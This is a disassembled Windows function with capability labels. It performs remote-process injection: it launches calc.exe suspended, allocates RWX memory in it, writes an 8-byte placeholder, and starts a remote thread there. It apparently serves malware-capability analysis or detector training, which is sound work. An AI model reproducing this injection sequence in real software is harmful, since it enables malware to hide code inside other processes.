Function at 0x401260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x290
lea rbp, [rsp + 0x80]
mov rax, rdx
mov qword [rbp], rax
mov rax, rcx
mov qword [rbp + 8], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x18], rcx
lea rax, [rbp + 0x28]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], 0x20
mov qword [rbp + 0x128], 0
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x140]
call fcn.004011d0
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x150]
lea rdx, [rbp + 0x148]
call fcn.00401210
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x158], rax
lea rax, str.calc.exe
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 8
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x128]
lea r8, [0x00484bf8]
lea r9, str.calc.exe
mov qword [rsp + 0x20], 8
call fcn.00402680
cmp word [rbp + 0x180], 0
je 0x4013d3
jmp 0x4013ee
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x188], rdx
mov qword [rbp + 0x190], rax
xor eax, eax
mov r9d, eax
xor eax, eax
lea r10, [0x004b0e80]
lea rax, [0x004b0ee8]
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call sub.KERNEL32.dll_CreateProcessW
mov eax, dword [0x004b0ef8]
mov dword [rbp + 0x19c], eax
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
lea r8, [rbp + 0x19c]
call fcn.00403a90
cmp ax, 0
je 0x40144c
jmp 0x40144e
mov rcx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x178]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
jmp 0x401343
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x401343
mov r8d, dword [0x004b0ef8]
mov ecx, 0x1fffff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov qword [rbp - 0x18], rax
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rax
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
lea r8, [rbp + 0x1a8]
call fcn.00403ad0
cmp ax, 0
je 0x40154c
jmp 0x401551
jmp 0x4013fe
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x4013fe
mov r8, qword [rbp]
mov rcx, qword [rbp - 0x18]
xor eax, eax
mov edx, eax
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
call sub.KERNEL32.dll_VirtualAllocEx
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x1b0], rax
lea rcx, [rbp + 0x1b8]
mov edx, 0xaa
mov r8d, 8
call fcn.004805e0
mov rcx, qword [rbp - 0x18]
mov r8, qword [rbp + 8]
mov r9, qword [rbp]
lea rax, [rbp + 0x1b8]
mov qword [rbp + 0x1c0], 0x4d430001
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 8
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 0
lea rax, [rbp + 0x1c0]
xor edx, edx
rol rdi, 3
rol rdi, 0xd
rol rdi, 0x3d
rol rdi, 0x33
xchg rbx, rbx
mov rdx, qword [rbp - 0x20]
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [rbp + 0x1f0], eax
mov dword [rbp + 0x1f4], eax
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
lea r8, [rbp + 0x1f4]
call fcn.00403b10
cmp ax, 0
je 0x401591
jmp 0x401593
jmp 0x40145b
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x40145b
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
lea r8, [rbp + 0x1f8]
call fcn.00403b50
cmp ax, 0
je 0x401605
jmp 0x401607
jmp 0x401561
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x401561
mov r9, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
xor eax, eax
mov r8d, eax
xor eax, eax
mov rdx, r8
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call sub.KERNEL32.dll_CreateRemoteThread
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rax
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
lea r8, [rbp + 0x208]
call fcn.00403b90
cmp ax, 0
je 0x40162f
jmp 0x401631
jmp 0x4015a0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x4015a0
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x158]
call fcn.00403bd0
cmp ax, 0
je 0x401672
jmp 0x401674
jmp 0x401614
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x401614
mov rcx, qword [rbp - 0x28]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rbp - 0x18]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x004b0ef0]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x004b0ee8]
call sub.KERNEL32.dll_CloseHandle
nop
add rsp, 0x290
pop rbp
ret
jmp 0x40163e
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x128], rax
jmp 0x40163e